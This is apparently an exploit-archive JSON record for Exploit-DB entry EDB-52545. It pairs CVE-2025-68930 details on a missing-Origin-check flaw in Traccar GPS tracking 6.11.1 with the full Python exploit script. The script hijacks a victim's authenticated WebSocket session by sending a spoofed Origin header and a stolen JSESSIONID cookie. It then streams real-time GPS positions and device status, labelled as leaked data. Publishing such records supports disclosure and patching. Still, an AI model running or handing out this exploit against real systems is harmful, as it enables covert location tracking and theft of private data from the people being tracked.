{"exploit":{"id":"EDB-52545","name":"Traccar GPS Tracking System 6.11.1 - Cross-Site WebSocket Hijacking (CSWSH)","description":"Traccar GPS Tracking System 6.11.1 - Cross-Site WebSocket Hijacking (CSWSH)","cves":["CVE-2025-68930"],"author":"hazar","published":"2026-05-04","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52545","path":"exploits/multiple/webapps/52545.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52545.py","vulnerabilities":[{"id":"CVE-2025-68930","state":"PUBLISHED","title":"Traccar Missing Origin Validation in WebSockets","titleSource":"CVE Program","description":"Versions of the Traccar open-source GPS tracking system up to and including 6.11.1 contain a Cross-Site WebSocket Hijacking (CSWSH) vulnerability in the `/api/socket` endpoint. The application fails to validate the `Origin` header during the WebSocket handshake. This allows a remote attacker to bypass the Same Origin Policy (SOP) and establish a full-duplex WebSocket connection using a legitimate user's credentials (JSESSIONID). As of time of publication, it is unclear whether a fix is available.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-68930","cvss":{"version":"3.1","baseScore":7.1,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-68930"},"updatedAt":"2026-02-25T15:13:30.875Z","retrievedAt":"2026-11-25T16:15:50.474Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52545.png?v=2","url":"https://exploitbin.com/exploits/EDB-52545","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52545/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52545/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Traccar GPS Tracking System 6.11.1 - Cross-Site WebSocket Hijacking (CSWSH)\n# Date: 2026-02-26\n# Exploit Author: Hazar Taspinar\n# Vendor Homepage: https://www.traccar.org/\n# Software Link: https://github.com/traccar/traccar\n# Version: <= 6.11.1\n# Tested on: Windows 11 / Linux\n# CVE: CVE-2025-68930\n\n\"\"\"\nDescription:\nTraccar fails to validate the 'Origin' header in WebSocket connections (/api/socket).\nAn attacker can bypass the Same Origin Policy (SOP) by supplying a malicious Origin header\nalong with a victim's valid JSESSIONID. This allows the attacker to hijack the\nWebSocket connection and leak real-time sensitive data, including GPS coordinates\nand device status.\n\nRequirements:\npip install websocket-client\n\"\"\"\n\nimport websocket\nimport argparse\nimport sys\n\ndef on_message(ws, message):\n    print(f\"[+] DATA LEAKED: {message}\")\n\ndef on_error(ws, error):\n    print(f\"[-] Error: {error}\")\n\ndef on_close(ws, close_status_code, close_msg):\n    print(\"[-] Connection closed.\")\n\ndef on_open(ws):\n    print(\"[*] WebSocket Handshake Successful!\")\n    print(\"[*] Connection upgraded. Streaming real-time sensitive data...\\n\")\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Traccar CSWSH Exploit - Information Disclosure\")\n    parser.add_argument(\"--target\", required=True, help=\"Target IP address (e.g., 192.168.1.5)\")\n    parser.add_argument(\"--port\", default=\"8082\", help=\"Target Port (default: 8082)\")\n    parser.add_argument(\"--cookie\", required=True, help=\"Valid JSESSIONID (e.g., node0xxxxxxx)\")\n\n    args = parser.parse_args()\n\n    # Construct the WebSocket URL\n    url = f\"ws://{args.target}:{args.port}/api/socket\"\n\n    # Malicious headers triggering the bypass\n    # The 'Origin' header is set to an external domain to demonstrate lack of validation.\n    headers = [\n        \"Origin: http://hacker.com\",\n        f\"Cookie: JSESSIONID={args.cookie}\"\n    ]\n\n    print(f\"\"\"\n    ================================================\n    TRACCAR GPS TRACKER - CSWSH EXPLOIT\n    Exploit Author: Hazar Taspinar\n    CVE: CVE-2025-68930\n    Target: {url}\n    ================================================\n    \"\"\")\n\n    # Initiate WebSocket connection\n    ws = websocket.WebSocketApp(url,\n                                on_message=on_message,\n                                on_error=on_error,\n                                on_close=on_close,\n                                on_open=on_open,\n                                header=headers)\n\n    try:\n        ws.run_forever()\n    except KeyboardInterrupt:\n        print(\"\\n[*] Exploit stopped by user.\")\n        sys.exit(0)\n\nif __name__ == \"__main__\":\n    main()","sha256":"6630913ad6e450fe989f3975b8b9f9ee26ffdfc57a62d34243d5885f7848eabb","bytes":2645,"fetchedAt":"2026-11-26T11:05:06.992Z","encoding":"utf-8 (display only; download retains original bytes)"}